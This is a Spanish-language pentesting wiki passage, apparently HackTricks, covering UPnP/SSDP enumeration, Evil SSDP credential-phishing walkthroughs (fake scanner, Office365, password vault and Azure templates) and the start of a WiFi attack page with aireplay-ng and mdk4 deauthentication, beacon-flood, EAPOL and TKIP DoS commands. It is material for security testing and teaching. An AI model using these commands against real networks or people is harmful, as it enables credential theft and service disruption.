En la capa de direccionamiento, los sistemas habilitados para UPnP intentan obtener una dirección IP a través de **DHCP**. Si eso no es posible, se **asignarán una dirección** de la gama 169.254.0.0/16 (RFC 3927), un proceso conocido como AutoIP.
|
||||
|
||||
A continuación, está la capa de descubrimiento, en la que el sistema busca otros dispositivos en la red utilizando el **Protocolo Simple de Descubrimiento de Servicios** (SSDP). Las dos formas de descubrir dispositivos son **activa** y **pasiva**. Al utilizar el método **activo**, los dispositivos compatibles con UPnP **envían un mensaje de descubrimiento** (llamado una **solicitud M-SEARCH**) a la dirección multicast **239.255.255.250 en el puerto UDP 1900.** Llamamos a esta solicitud HTTPU (HTTP sobre UDP) porque contiene una cabecera similar a la cabecera HTTP. La solicitud M-SEARCH se ve así:
|
||||
```
|
||||
M-SEARCH * HTTP/1.1
|
||||
ST: ssdp:all
|
||||
MX: 5
|
||||
MAN: ssdp:discover
|
||||
HOST: 239.255.255.250:1900
|
||||
```
|
||||
Los sistemas UPnP que escuchan esta solicitud deben responder con un mensaje unicast UDP que anuncia la ubicación HTTP del archivo XML de descripción, que lista los servicios admitidos por el dispositivo.
|
||||
|
||||
Cuando se utiliza el método **pasivo** para descubrir dispositivos, los dispositivos con capacidad UPnP anuncian periódicamente sus servicios en la red enviando un mensaje **NOTIFY a la dirección multicast** 239.255.255.250 en el puerto UDP 1900. Este mensaje, que sigue el mismo formato que el enviado como respuesta al descubrimiento activo, se ve así:
|
||||
```
|
||||
NOTIFY * HTTP/1.1\r\n
|
||||
HOST: 239.255.255.250:1900\r\n
|
||||
CACHE-CONTROL: max-age=60\r\n
|
||||
LOCATION: http://192.168.10.254:5000/rootDesc.xml\r\n
|
||||
SERVER: OpenWRT/18.06-SNAPSHOT UPnP/1.1 MiniUPnPd/2.1\r\n
|
||||
NT: urn:schemas-upnp-org:service:WANIPConnection:2
|
||||
```
|
||||
La descripción de cada perfil UPnP se referencia en el valor del campo LOCATION del mensaje de respuesta recibido durante el descubrimiento activo o en el mensaje NOTIFY recibido durante el descubrimiento pasivo.
|
||||
|
||||
La capa de control es probablemente la más importante, ya que permite a los clientes enviar comandos al dispositivo UPnP utilizando las URL del archivo de descripción. Pueden hacer esto utilizando el Protocolo Simple de Acceso a Objetos (SOAP), un protocolo de mensajería que utiliza XML sobre HTTP. Los dispositivos envían solicitudes SOAP al punto final controlURL, descrito en la etiqueta \<service> dentro del archivo de descripción. Una etiqueta \<service> se ve así:
|
||||
```xml
|
||||
<service>
|
||||
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:2</serviceType>
|
||||
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
|
||||
<SCPDURL>/WANIPCn.xml</SCPDURL>
|
||||
<controlURL>/ctl/IPConn</controlURL>
|
||||
<eventSubURL>/evt/IPConn</eventSubURL>
|
||||
</service>
|
||||
```
|
||||
### **IGD - Dispositivo de Puerta de Enlace a Internet**
|
||||
|
||||
**IGD** mapea puertos en configuraciones de traducción de direcciones de red (NAT). IGD **permite** a una aplicación **añadir dinámicamente un mapeo de puerto temporal en el router** durante un cierto período de tiempo (sin necesidad de que el usuario realice ningún paso manual).
|
||||
|
||||
La mayoría de los dispositivos **normalmente no aceptan** paquetes **SSDP** a través de la **interfaz WAN**, pero algunos de ellos todavía pueden **aceptar comandos IGD** a través de puntos de control SOAP abiertos.
|
||||
|
||||
En la sección de herramientas de **Umap**, puedes encontrar una forma de explotar este vector.
|
||||
|
||||
## **Herramientas**
|
||||
|
||||
### **Miranda**
|
||||
|
||||
[**Miranda**](https://raw.githubusercontent.com/0x90/miranda-upnp/master/src/miranda.py) es un **cliente UPnP en python2** que puede ser útil para **descubrir** servicios UPnP, obtener los **detalles** y **enviar comandos** a ellos:
|
||||
```
|
||||
upnp> msearch
|
||||
|
||||
Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...
|
||||
|
||||
|
||||
SSDP reply message from 192.168.1.254:49152
|
||||
XML file is located at http://192.168.1.254:49152/wps_device.xml
|
||||
Device is running Unspecified, UPnP/1.0, Unspecified
|
||||
|
||||
|
||||
|
||||
SSDP reply message from 192.168.1.254:53350
|
||||
XML file is located at http://192.168.1.254:53350/37699b14/rootDesc.xml
|
||||
Device is running Linux/3.4.11 UPnP/1.0 MiniUPnPd/1.9
|
||||
|
||||
|
||||
upnp> host list
|
||||
[0] 192.168.1.254:49152
|
||||
[1] 192.168.1.254:53350
|
||||
|
||||
upnp> host get 0
|
||||
upnp> host details 0
|
||||
|
||||
Host name: 192.168.1.254:49152
|
||||
UPNP XML File: http://192.168.1.254:49152/wps_device.xml
|
||||
|
||||
|
||||
Device information:
|
||||
Device Name: WFADevice
|
||||
Service Name: WFAWLANConfig
|
||||
controlURL: wps_control
|
||||
eventSubURL: wps_event
|
||||
serviceId: urn:wifialliance-org:serviceId:WFAWLANConfig1
|
||||
SCPDURL: wps_scpd.xml
|
||||
fullName: urn:schemas-wifialliance-org:service:WFAWLANConfig:1
|
||||
ServiceActions:
|
||||
PutMessage
|
||||
NewInMessage
|
||||
InMessage:
|
||||
dataType: bin.base64
|
||||
|
||||
[...]
|
||||
|
||||
upnp> host send 0 WFADevice WFAWLANConfig PutMessage
|
||||
```
|
||||
### Umap
|
||||
|
||||
La herramienta [**umap**](https://github.com/0x90/upnp-arsenal/blob/master/umap-bypass.py) puede ayudar a **descubrir comandos upnp** que están **disponibles** desde las interfaces **WAN** incluso si no están anunciados en esas interfaces (esto se debe a implementaciones con errores). Tenga en cuenta que si, por ejemplo, está probando un enrutador y tiene acceso a él desde la red interna y la interfaz WAN, debe intentar **enumerar todos los servicios desde la red interna** (usando **miranda** por ejemplo) y luego intentar **llamar a esos servicios desde la red externa**.
|
||||
|
||||
### **Otras herramientas UPnP**
|
||||
|
||||
Encuentre en [**https://github.com/0x90/upnp-arsenal**](https://github.com/0x90/upnp-arsenal) más herramientas upnp.
|
||||
|
||||
### **Evil SSDP**
|
||||
|
||||
La herramienta Evil SSDP fue desarrollada por [initstring](https://twitter.com/init\_string). Esta herramienta está alojada en GitHub. Usaremos el comando git clone para clonar todo el contenido del git en nuestra máquina atacante. El comando git clone creará un directorio con el mismo nombre que en GitHub. Dado que la herramienta está desarrollada en Python versión 3, tendremos que usar python3 seguido del nombre del archivo .py para ejecutar el programa. Aquí podemos ver una pantalla de ayuda básica de la herramienta.
|
||||
```bash
|
||||
git clone https://github.com/initstring/evil-ssdp.git
|
||||
cd evil-ssdp/ls
|
||||
python3 evil-ssdp.py --help
|
||||
```
|
||||
|
||||
|
||||
En el directorio clonado, encontraremos un directorio llamado templates. Contiene todas las plantillas precompiladas que se pueden utilizar para hacer phishing al usuario objetivo.
|
||||
|
||||
## **Suplantación de escáner SSDP**
|
||||
|
||||
Ahora que hemos ejecutado la herramienta sin problemas, usemosla para obtener algunas credenciales. En esta primera práctica, suplantaremos un escáner como un dispositivo UPnP confiable. Para empezar, tendremos que configurar la plantilla.
|
||||
|
||||
### **Configuración de la plantilla**
|
||||
|
||||
Para usar la herramienta, tendremos que proporcionar la interfaz de red. Aquí, en nuestra máquina atacante, tenemos "eth0" como nuestra interfaz, puede encontrar su interfaz usando el comando "ifconfig".
|
||||
|
||||
Después de proporcionar la interfaz, usaremos el parámetro "--template" para pasar una plantilla que encontramos anteriormente en el directorio de plantillas. Para suplantar un escáner, ejecutaremos el siguiente comando. Como podemos ver, la herramienta ha hecho su trabajo y ha alojado varios archivos de plantilla en nuestra máquina atacante en el puerto 8888. También tenemos el puntero SMB alojado.
|
||||
```bash
|
||||
ls temlates/
|
||||
python3 evil-ssdp.py eth0 --template scanner
|
||||
```
|
||||
|
||||
|
||||
### **Manipulando al usuario**
|
||||
|
||||
El siguiente paso lógico es manipular al usuario para que haga clic en la aplicación. Al estar en la misma red que el objetivo, nuestro escáner falso aparecerá en su explorador. Aquí es donde entra en juego UPnP. La herramienta Evil SSDP crea este escáner con apariencia genuina en el sistema del objetivo sin ningún tipo de interacción forzada con el mismo.
|
||||
|
||||
|
||||
|
||||
Al hacer clic en el icono dentro del Explorador, seremos redirigidos al navegador web predeterminado, abriendo nuestro enlace alojado. Aquí entran en juego las plantillas que utilizamos. El usuario ahora es consciente de que está conectado a un escáner genuino o a un dispositivo UPnP falso que hemos generado. El objetivo, sin saberlo y sin tener ninguna pista, introduce las credenciales válidas en esta plantilla, como se muestra en la imagen que se muestra a continuación.
|
||||
|
||||
|
||||
|
||||
### **Obteniendo las credenciales**
|
||||
|
||||
Tan pronto como el usuario objetivo introduce las credenciales, comprobamos nuestra terminal en la máquina del atacante para encontrar que tenemos las credenciales introducidas por el usuario. Como no se requiere conversación para cada dispositivo objetivo, nuestro escáner falso es visible para cada usuario en la red. Esto significa que el alcance de este tipo de ataque es ilimitado.
|
||||
|
||||
|
||||
|
||||
## **Suplantando SSDP de Office365**
|
||||
|
||||
En la práctica anterior, suplantamos el escáner al usuario objetivo. Ahora, al revisar el directorio de plantillas, encontramos la plantilla de Office365. Vamos a usarla.
|
||||
|
||||
### **Configuración de la plantilla**
|
||||
|
||||
Como hicimos anteriormente, comencemos con la configuración de la plantilla y la herramienta. Vamos a usar python3 para ejecutar la herramienta seguido del nombre del archivo de python. Luego proporcionaremos la interfaz de red que será seguida por el parámetro de plantilla con office365.
|
||||
```bash
|
||||
python3 evil-ssdp.py eth0 --template office365
|
||||
```
|
||||
|
||||
|
||||
Como podemos ver, la herramienta ha hecho su trabajo y ha alojado múltiples archivos de plantilla en nuestra máquina atacante en el puerto 8888.
|
||||
|
||||
### **Manipulando al usuario**
|
||||
|
||||
Tan pronto como ejecutamos la herramienta, tenemos un dispositivo UPnP llamado Office365 Backups. Esto fue hecho por la herramienta sin tener que enviar ningún archivo, carga útil o cualquier otro tipo de interacción al usuario objetivo. Todo lo que queda es que el usuario haga clic en el icono.
|
||||
|
||||
|
||||
|
||||
Al hacer clic en el usuario objetivo, se redirige a nuestra página de plantilla falsa a través de su navegador predeterminado. Esta es una página de Microsoft que parece muy genuina. El usuario desprevenido ingresa sus credenciales válidas en esta página.
|
||||
|
||||
|
||||
|
||||
### **Obteniendo las credenciales**
|
||||
|
||||
Tan pronto como el usuario ingresa las credenciales y se pasan como solicitud POST al servidor, que es nuestra máquina objetivo, vemos que en nuestra terminal, tenemos las credenciales.
|
||||
|
||||
|
||||
|
||||
## **Desviando al usuario a un SSDP de bóveda de contraseñas**
|
||||
|
||||
Hasta ahora, hemos falsificado con éxito al usuario objetivo para obtener algunas credenciales de escaneo y algunas credenciales de respaldo de Office365. Pero ahora vamos por lo más importante que se usa como UPnP, la Bóveda de Contraseñas.
|
||||
|
||||
### **Configuración de plantilla**
|
||||
|
||||
Como hicimos en nuestras prácticas anteriores, tendremos que configurar la plantilla para la bóveda de contraseñas. En poco tiempo, la herramienta aloja la plantilla de la bóveda de contraseñas en el puerto 8888.
|
||||
```bash
|
||||
python3 evil-ssdp.py eth0 --template password-vault
|
||||
```
|
||||
### **Manipulando al usuario**
|
||||
|
||||
Pasando a la máquina objetivo, vemos que el Password Vault UPnP es visible en el Explorador. Ahora, el usuario hace clic en el dispositivo y queda atrapado en nuestro ataque. Al ver algo como Password Vault, el usuario se sentirá tentado a hacer clic en el icono.
|
||||
|
||||
|
||||
|
||||
Mientras el usuario confiado piensa que ha logrado cosas muy importantes con las claves y contraseñas falsas. Esto funciona como una distracción para el usuario, ya que esto llevará al usuario a probar esta exhaustiva lista de credenciales sin éxito.
|
||||
|
||||
|
||||
|
||||
## **Suplantando Microsoft Azure SSDP**
|
||||
|
||||
Al trabajar con Suplantación, una de las tareas más importantes es no dejar que el usuario objetivo sepa que ha sido víctima de Suplantación. Esto se puede lograr redirigiendo al usuario después de que el atacante haya obtenido las credenciales o cookies o cualquier cosa que el atacante quisiera adquirir. La herramienta evil\_ssdp tiene un parámetro (-u) que redirige al usuario objetivo a cualquier URL de elección del atacante. Veamos el funcionamiento de este parámetro en acción.
|
||||
|
||||
Para empezar, usaremos python3 para cargar la herramienta. A continuación, mencionamos la Interfaz de Red que se debe utilizar. Ahora, para esta práctica, usaremos la Plantilla de Almacenamiento de Microsoft Azure. Después de seleccionar la plantilla, ponemos el parámetro (-u) y luego mencionamos cualquier URL donde queramos redirigir al usuario. Aquí estamos usando el enlace oficial de Microsoft. Pero esto puede ser cualquier sitio malicioso.
|
||||
```bash
|
||||
python3 evil-ssdp.py eth0 --template microsoft-azure -u https://malicous-site.com
|
||||
```
|
||||
### **Manipulando al usuario**
|
||||
|
||||
Ahora que hemos iniciado la herramienta, creará un dispositivo UPnP en la máquina objetivo como se muestra en la imagen a continuación. Para que el ataque tenga éxito, el objetivo debe hacer clic en el dispositivo.
|
||||
|
||||
|
||||
|
||||
Después de hacer clic en el icono, vemos que el usuario es redirigido a la página oficial de Microsoft. Esto puede ser lo que el atacante quiera que sea.
|
||||
|
||||
|
||||
|
||||
Esto concluye nuestra práctica de esta increíble herramienta de suplantación.
|
||||
|
||||
## **Mitigación**
|
||||
|
||||
* Desactivar los dispositivos UPnP.
|
||||
* Educar a los usuarios para prevenir ataques de phishing.
|
||||
* Monitorear la red para el viaje de contraseñas en texto claro.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
@ -1,751 +0,0 @@
|
|||
# Pentesting Wifi
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Comandos básicos de Wifi
|
||||
```bash
|
||||
ip link show #List available interfaces
|
||||
iwconfig #List available interfaces
|
||||
airmon-ng check kill #Kill annoying processes
|
||||
airmon-ng start wlan0 #Monitor mode
|
||||
airmon-ng stop wlan0mon #Managed mode
|
||||
airodump-ng wlan0mon #Scan (default 2.4Ghz)
|
||||
airodump-ng wlan0mon --band a #Scan 5Ghz
|
||||
iwconfig wlan0 mode monitor #Put in mode monitor
|
||||
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
|
||||
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
|
||||
```
|
||||
## Herramientas
|
||||
|
||||
### EAPHammer
|
||||
```
|
||||
git clone https://github.com/s0lst1c3/eaphammer.git
|
||||
./kali-setup
|
||||
```
|
||||
### Airgeddon
|
||||
|
||||
Airgeddon es una herramienta de prueba de penetración de redes inalámbricas todo en uno que incluye una gran cantidad de herramientas y opciones para realizar pruebas de seguridad en redes Wi-Fi. Algunas de las características de Airgeddon incluyen la capacidad de realizar ataques de fuerza bruta, ataques de diccionario, ataques de deautenticación, ataques de Evil Twin, ataques de WPS, y mucho más. También incluye una interfaz de usuario fácil de usar y una guía paso a paso para ayudar a los usuarios a realizar pruebas de penetración de redes inalámbricas de manera efectiva.
|
||||
```bash
|
||||
mv `which dhcpd` `which dhcpd`.old
|
||||
apt install isc-dhcp-server
|
||||
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
|
||||
```
|
||||
**Ejecutar airgeddon con docker**
|
||||
|
||||
Para ejecutar airgeddon con docker, primero debemos asegurarnos de tener docker instalado en nuestro sistema. Luego, podemos seguir los siguientes pasos:
|
||||
|
||||
1. Descargar la imagen de docker de airgeddon:
|
||||
|
||||
```
|
||||
docker pull v1s1t0r1sh3r3/airgeddon
|
||||
```
|
||||
|
||||
2. Ejecutar la imagen de docker:
|
||||
|
||||
```
|
||||
docker run -it --net=host --privileged v1s1t0r1sh3r3/airgeddon
|
||||
```
|
||||
|
||||
Con estos pasos, deberíamos poder ejecutar airgeddon dentro de un contenedor de docker.
|
||||
```bash
|
||||
docker run \
|
||||
--rm \
|
||||
-ti \
|
||||
--name airgeddon \
|
||||
--net=host \
|
||||
--privileged \
|
||||
-p 3000:3000 \
|
||||
-v /tmp:/io \
|
||||
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
|
||||
v1s1t0r1sh3r3/airgeddon
|
||||
```
|
||||
### wifiphisher
|
||||
|
||||
Puede realizar ataques de Evil Twin, KARMA y Beacons Conocidos y luego utilizar una plantilla de phishing para obtener la contraseña real de la red o capturar credenciales de redes sociales.
|
||||
```bash
|
||||
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
||||
cd wifiphisher # Switch to tool's directory
|
||||
sudo python setup.py install # Install any dependencies
|
||||
```
|
||||
### [Wifite2](https://github.com/derv82/wifite2)
|
||||
|
||||
Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente:
|
||||
|
||||
* Configura la interfaz en modo monitor
|
||||
* Escanea posibles redes - Y te permite seleccionar la(s) víctima(s)
|
||||
* Si es WEP - Lanza ataques WEP
|
||||
* Si es WPA-PSK
|
||||
* Si es WPS: ataque Pixie Dust y ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta podría tardar mucho tiempo). Ten en cuenta que no intenta pines nulos o pines generados de bases de datos.
|
||||
* Intenta capturar el PMKID del AP para crackearlo
|
||||
* Intenta desautenticar clientes del AP para capturar un handshake
|
||||
* Si tiene PMKID o Handshake, intenta hacer fuerza bruta usando las 5000 contraseñas más comunes.
|
||||
|
||||
## Resumen de ataques
|
||||
|
||||
* **DoS**
|
||||
* Desautenticación/disasociación -- Desconecta a todos (o a un ESSID/Cliente específico)
|
||||
* APs falsos aleatorios -- Oculta redes, posibles bloqueos de escáneres
|
||||
* Sobrecarga AP -- Intenta matar al AP (usualmente no muy útil)
|
||||
* WIDS -- Juega con el IDS
|
||||
* TKIP, EAPOL -- Algunos ataques específicos para hacer DoS a algunos APs
|
||||
* **Cracking**
|
||||
* Crackear **WEP** (varias herramientas y métodos)
|
||||
* **WPA-PSK**
|
||||
* **WPS** pin "Fuerza Bruta"
|
||||
* **WPA PMKID** fuerza bruta
|
||||
* \[DoS +] Captura de **handshake WPA** + Crackeo
|
||||
* **WPA-MGT**
|
||||
* **Captura de nombre de usuario**
|
||||
* **Fuerza Bruta** de credenciales
|
||||
* **Evil Twin** (con o sin DoS)
|
||||
* Evil Twin **Abierto** \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
|
||||
* Evil Twin **WPA-PSK** -- Útil para ataques de red si conoces la contraseña
|
||||
* **WPA-MGT** -- Útil para capturar credenciales de la empresa
|
||||
* **KARMA, MANA**, **Loud MANA**, **Beacon conocido**
|
||||
* **+ Abierto** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
|
||||
* **+ WPA** -- Útil para capturar handshakes WPA
|
||||
|
||||
## DOS
|
||||
|
||||
### Paquetes de desautenticación
|
||||
|
||||
La forma más común en que se realiza este tipo de ataque es con paquetes de **desautenticación**. Estos son un tipo de marco "de gestión" responsable de desconectar un dispositivo de un punto de acceso. Falsificar estos paquetes es la clave para [hackear muchas redes Wi-Fi](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), ya que puedes desconectar forzosamente cualquier cliente de la red en cualquier momento. La facilidad con la que se puede hacer esto es algo aterrador y a menudo se hace como parte de la recopilación de un handshake WPA para crackear.
|
||||
|
||||
Además de usar momentáneamente esta desconexión para recolectar un handshake para crackear, también puedes dejar que esos desautenticaciones sigan llegando, lo que tiene el efecto de bombardear al cliente con paquetes de desautenticación aparentemente provenientes de la red a la que están conectados. Debido a que estos marcos no están cifrados, muchos programas aprovechan los marcos de gestión falsificándolos y enviándolos a uno o todos los dispositivos en una red.\
|
||||
**Descripción de** [**aquí**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
```
|
||||
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
```
|
||||
* \-0 significa desautenticación
|
||||
* 1 es el número de desautenticaciones a enviar (puedes enviar varias si lo deseas); 0 significa enviarlas continuamente
|
||||
* \-a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
|
||||
* \-c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite, se envía una desautenticación de difusión (no siempre funciona)
|
||||
* ath0 es el nombre de la interfaz
|
||||
|
||||
### Paquetes de disociación
|
||||
|
||||
Los paquetes de disociación son otro tipo de trama de gestión que se utiliza para desconectar un nodo (es decir, cualquier dispositivo como un portátil o un teléfono móvil) de un punto de acceso cercano. La diferencia entre las tramas de desautenticación y las de disociación radica principalmente en la forma en que se utilizan.
|
||||
|
||||
Un punto de acceso que busca desconectar un dispositivo no autorizado enviaría una trama de desautenticación para informar al dispositivo de que ha sido desconectado de la red, mientras que una trama de disociación se utiliza para desconectar cualquier nodo cuando el punto de acceso se apaga, reinicia o abandona el área.
|
||||
|
||||
**Descripción de** [**aquí**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
**Este ataque se puede realizar con mdk4 (modo "d"):**
|
||||
```bash
|
||||
# -c <channel>
|
||||
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
|
||||
# -e WifiName is the name of the wifi
|
||||
# -B BSSID is the BSSID of the AP
|
||||
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
|
||||
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||||
```
|
||||
### **Más ataques DOS por mdk4**
|
||||
|
||||
**Desde** [**aquí**](https://en.kali.tools/?p=864)**.**
|
||||
|
||||
**MODO DE ATAQUE b: Beacon Flooding**
|
||||
|
||||
Envía tramas de balizas para mostrar APs falsos a los clientes. ¡Esto a veces puede hacer que los escáneres de red e incluso los controladores se bloqueen!
|
||||
```bash
|
||||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||||
# -m use real BSSIDS
|
||||
# All the parameters are optional and you could load ESSIDs from a file
|
||||
mdk4 wlan0mon b -a -w nta -m
|
||||
```
|
||||
**MODO DE ATAQUE a: Denegación de Servicio de Autenticación**
|
||||
|
||||
Envía tramas de autenticación a todos los AP encontrados en el rango. Demasiados clientes pueden congelar o reiniciar varios APs.
|
||||
```bash
|
||||
# -a BSSID send random data from random clients to try the DoS
|
||||
# -i BSSID capture and repeat pakets from authenticated clients
|
||||
# -m use real MACs
|
||||
# only -a or -i can be used
|
||||
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
```
|
||||
**MODO DE ATAQUE p: Sondeo y fuerza bruta de SSID**
|
||||
|
||||
Sondea los puntos de acceso y verifica si hay respuesta, útil para comprobar si el SSID ha sido descubierto correctamente y si el AP está dentro de su rango de envío. También está disponible la **fuerza bruta de SSIDs ocultos** con o sin una lista de palabras.
|
||||
|
||||
**MODO DE ATAQUE m: Explotación de contramedidas de Michael**
|
||||
|
||||
Envía paquetes aleatorios o reinyecta duplicados en otra cola de QoS para provocar las contramedidas de Michael en los APs **TKIP**. El AP se apagará durante un minuto completo, lo que lo convierte en un efectivo **DoS**.
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
||||
```
|
||||
**MODO DE ATAQUE e: Inyección de paquetes EAPOL Start y Logoff**
|
||||
|
||||
Se inundan los AP con tramas de inicio de **EAPOL** para mantenerlo ocupado con **sesiones falsas** y así deshabilitarlo para manejar cualquier cliente legítimo. O se desconectan los clientes mediante la **inyección de mensajes falsos** de **Logoff EAPOL**.
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
```
|
||||
**MODO DE ATAQUE s: Ataques para redes de malla IEEE 802.11s**
|
||||
|
||||
Se realizan varios ataques al manejo de enlaces y enrutamiento en redes de malla. Se inundan los vecinos y las rutas, se crean agujeros negros y se desvía el tráfico.
|
||||
|
||||
**MODO DE ATAQUE w: Confusión de WIDS**
|
||||
|
||||
Confundir/Abusar de los Sistemas de Detección y Prevención de Intrusos cruzando la conexión de clientes a múltiples nodos WDS o a falsos APs maliciosos.
|
||||
```bash
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
```
|
||||
**MODO DE ATAQUE f: Fuzzer de paquetes**
|
||||
|
||||
Un fuzzer de paquetes simple con múltiples fuentes de paquetes y un buen conjunto de modificadores. ¡Ten cuidado!
|
||||
|
||||
### **Airggedon**
|
||||
|
||||
_**Airgeddon**_ ofrece la mayoría de los ataques propuestos en los comentarios anteriores:
|
||||
|
||||
.png>)
|
||||
|
||||
## WPS
|
||||
|
||||
WPS significa Wi-Fi Protected Setup. Es un estándar de seguridad de red inalámbrica que intenta hacer que las conexiones entre un enrutador y dispositivos inalámbricos sean más rápidas y fáciles. **WPS solo funciona para redes inalámbricas que usan una contraseña** que está encriptada con los protocolos de seguridad **WPA** Personal o **WPA2** Personal. WPS no funciona en redes inalámbricas que utilizan la seguridad WEP obsoleta, que puede ser fácilmente descifrada por cualquier hacker con un conjunto básico de herramientas y habilidades. (De [aquí](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
|
||||
|
||||
WPS utiliza un PIN de 8 dígitos para permitir que un usuario se conecte a la red, pero primero se comprueban los primeros 4 números y, si son correctos, se comprueban los segundos 4 números. Entonces, es posible hacer un ataque de fuerza bruta en la primera mitad y luego en la segunda mitad (solo 11000 posibilidades).
|
||||
|
||||
### Fuerza bruta de WPS
|
||||
|
||||
Hay 2 herramientas principales para realizar esta acción: Reaver y Bully.
|
||||
|
||||
* **Reaver** ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado contra una amplia variedad de puntos de acceso e implementaciones de WPS.
|
||||
* **Bully** es una **nueva implementación** del ataque de fuerza bruta de WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de la endianness y un conjunto más robusto de opciones.
|
||||
|
||||
